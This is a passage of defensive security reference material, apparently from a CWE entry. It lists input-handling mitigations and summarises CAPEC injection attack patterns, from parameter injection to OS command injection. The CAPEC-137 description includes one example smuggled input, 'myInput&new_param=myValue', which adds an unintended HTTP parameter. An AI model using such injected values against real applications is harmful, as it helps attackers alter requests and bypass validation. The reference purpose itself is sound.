- Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
Mitigation
When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
Mitigation
When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
CAPEC-137: Parameter Injection
An adversary manipulates the content of request parameters for the purpose of undermining the security of the target. Some parameter encodings use text characters as separators. For example, parameters in a HTTP GET message are encoded as name-value pairs separated by an ampersand (&). If an attacker can supply text strings that are used to fill in these parameters, then they can inject special characters used in the encoding scheme to add or modify parameters. For example, if user input is fed directly into an HTTP GET request and the user provides the value "myInput&new_param=myValue", then the input parameter is set to myInput, but a new parameter (new_param) is also added with a value of myValue. This can significantly change the meaning of the query that is processed by the server. Any encoding scheme where parameters are identified and separated by text characters is potentially vulnerable to this attack - the HTTP GET encoding used above is just one example.
CAPEC-174: Flash Parameter Injection
An adversary takes advantage of improper data validation to inject malicious global parameters into a Flash file embedded within an HTML document. Flash files can leverage user-submitted data to configure the Flash document and access the embedding HTML document.
CAPEC-41: Using Meta-characters in E-mail Headers to Inject Malicious Payloads
This type of attack involves an attacker leveraging meta-characters in email headers to inject improper behavior into email programs. Email software has become increasingly sophisticated and feature-rich. In addition, email applications are ubiquitous and connected directly to the Web making them ideal targets to launch and propagate attacks. As the user demand for new functionality in email applications grows, they become more like browsers with complex rendering and plug in routines. As more email functionality is included and abstracted from the user, this creates opportunities for attackers. Virtually all email applications do not list email header information by default, however the email header contains valuable attacker vectors for the attacker to exploit particularly if the behavior of the email client application is known. Meta-characters are hidden from the user, but can contain scripts, enumerations, probes, and other attacks against the user's system.
CAPEC-460: HTTP Parameter Pollution (HPP)
An adversary adds duplicate HTTP GET/POST parameters by injecting query string delimiters. Via HPP it may be possible to override existing hardcoded HTTP parameters, modify the application behaviors, access and, potentially exploit, uncontrollable variables, and bypass input validation checkpoints and WAF rules.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.